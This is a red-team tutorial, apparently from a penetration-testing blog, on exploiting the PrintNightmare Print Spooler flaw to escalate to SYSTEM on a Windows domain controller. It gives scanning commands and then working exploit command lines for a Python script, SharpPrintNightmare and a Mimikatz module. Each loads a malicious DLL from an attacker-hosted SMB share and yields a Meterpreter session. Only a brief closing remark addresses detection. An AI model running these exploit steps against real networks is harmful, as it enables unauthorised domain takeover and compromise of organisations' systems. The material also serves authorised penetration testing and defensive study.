Domain Escalation – PrintNightmare
Printers are part of every corporate infrastructure therefore Windows environments they have a number of embedded drivers installed. The Print Spooler (spoolsv.exe) service is responsible for printing jobs and runs by default in domain controllers with SYSTEM level privileges. Since the service is part of the Windows ecosystem it has drawn the attention of security researchers and a number of bugs have been identified.
The most notable was related to a security check bypass on the “RpcAddPrinterDriver” method. This remote procedure call as the name indicates adds a printer driver to a server. Therefore an existing user on the domain can leverage this vulnerability in order to add and execute arbitrary code from the context of a printer driver on the domain controller which is running by default the Print Spooler service. Since the service is running with SYSTEM level privileges this leads directly to domain escalation. Even though that Microsoft has released a patch to address this issue and advisories recommend to disable the service on the domain controller it is still expected over the years this vulnerability to remain active in a number of networks. Therefore this technique could be utilized in red team scenarios and penetration testing assessments to compromise the network and achieve the goals of the assessment in a short time-frame.
Prior to any exploit execution it is essential to discover if the domain controller is vulnerable to this attack. A python scanner was developed by Marcello Salvati with the name “ItWasAllADream” which needs to be supplied with existing domain user credentials and the target IP of the domain controller or an entire subnet to identify whether the vulnerability is present on the network. The tool uses the following two calls to identify hosts running the Print Spooler service remotely.
sudo docker run -it itwasalladream -u pentestlab -p Password123 -d domain 10.0.0.1
The verbose parameter (-v) can provide a detailed output about the steps that the tool perform to identify if a host is vulnerable. The output will display the required RPC calls and also the tool will attempt to load a DLL from a UNC path to verify the vulnerability.
sudo docker run -it itwasalladream -u pentestlab -p Password123 -d domain 10.0.0.1 -v
Alternatively impacket could be used as it contains a utility called rpcdump which can dump the list of RPC endpoints and string bindings which are registered to a target system. Results could be filtered with pipe to obtain only the remote procedure calls of interest. Presence of the “MS-RPRN” and “MS-PAR” indicate that the target runs the Print Spooler service.
python3 rpcdump.py @10.0.0.1 | egrep 'MS-RPRN|MS-PAR'
A scanner has been also incorporated to PingCastle which is a tool that can benchmark the security posture of an active directory. The “spooler” from the scanner menu can scan all hosts on the domain, only servers, only workstation or only the domain controllers.
Once the scan is complete the results will be written into a text file in the directory that PingCastle was executed.
For operations from a PowerShell console SpoolerScan can also display with a true or false if the PrintSpooler service is running via the “MS-RPRN” call.
In order to be able to execute code on the domain controller an SMB share is required that will host the arbitrary DLL. This can be achieved from impacket or through a Windows environment. To automate the process the Invoke-BuildAnonymousSMBServer PowerShell script can utilized to set up an SMB share which users could access without authentication.
Import-Module .\Invoke-BuildAnonymousSMBServer.ps1 Invoke-BuildAnonymousSMBServer -Path C:\Share -Mode Enable
The Impacket implementation of PrintNightmare was developed by Cube0x0 and could be found in the CVE-2021-1675 GitHub repository. The current version of Impacket produce errors while attempting to exploit the PrintNightmare vulnerability through the python script. Therefore it is recommended to use the version which is included in the repository. The script requires domain user credentials, the IP address of the domain controller and the UNC path which the DLL is hosted.
python3 ./CVE-2021-1675.py purple.lab/pentest:Password123@10.0.0.1 '\\10.0.0.7\smb\pentestlab.dll'
The python script will attempt to bind to the Print Service and identify the driver path. Then will execute the malicious driver from the UNC path. The “multi/handler” Metasploit module was used in order to capture the connection. Looking at the Meterpreter session SYSTEM level privileges have been obtained on the domain controller. This is because the malicious driver was executed under the context of the Print Spooler service and not from the perspective of the user.
There is also a C# version which can be used to implement the PrintNightmare attack directly from the memory of the command and control framework. Similarly execution requires the smb share to be defined, the IP address of the domain controller, the domain name, the username and the password.
SharpPrintNightmare.exe \\10.0.0.1\smb\pentestlab.dll \\10.0.0.1 purple pentestlab Password123
Upon successful execution domain escalation will achieved.
This attack can be conducted also from Mimikatz as it contains a relevant module. The “misc::printnightmare” requires the same parameters (UNC path, standard user credentials etc.) as it has been discussed above in order to install the DLL on the domain controller.
misc::printnightmare /server:dc /library:\\10.0.0.1\smb\pentestlab.dll /authdomain:purple /authuser:pentestlab /authpassword:Password123 /try:50
The PrintNighmare attack drops the arbitrary DLL into the drivers folder therefore it touches disk even though it is executed from a UNC path. From the perspective of monitoring that could be trivial to detect and to mitigate by disabling the service. However, since the domain controller on the network is considered one of the most critical assets and patching and proper hardening is always a case for IT administrators it is very likely that PrintNightmare will become the shortest path to takeover a domain in a number of networks.